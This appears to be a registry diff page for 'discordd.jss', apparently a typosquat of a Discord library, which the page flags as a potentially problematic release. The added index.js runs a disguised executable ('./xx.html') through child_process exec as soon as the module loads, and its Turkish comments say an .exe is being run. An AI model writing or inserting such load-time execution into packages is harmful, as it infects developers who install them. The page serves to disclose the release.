discordd.jss 0.0.1-security → 1.6.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of discordd.jss might be problematic. Click here for more details.
- package/index.js +21 -0
- package/indir.htm +23 -0
- package/package.json +11 -6
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,21 @@
|
|
1
|
+
// index.js
|
2
|
+
const { exec } = require('child_process');
|
3
|
+
|
4
|
+
console.log('Modül yüklendiğinde .exe dosyası çalıştırılacak.');
|
5
|
+
|
6
|
+
// .exe dosyasını çalıştıran fonksiyon
|
7
|
+
function runExe() {
|
8
|
+
exec('./xx.html', (error, stdout, stderr) => {
|
9
|
+
if (error) {
|
10
|
+
console.error(`Hata oluştu: ${error.message}`);
|
11
|
+
return;
|
12
|
+
}
|
13
|
+
if (stderr) {
|
14
|
+
console.error(`Hata çıktısı: ${stderr}`);
|
15
|
+
return;
|
16
|
+
}
|
17
|
+
console.log(`.exe çıktısı: ${stdout}`);
|
18
|
+
});
|
19
|
+
}
|
20
|
+
|
21
|
+
runExe();
|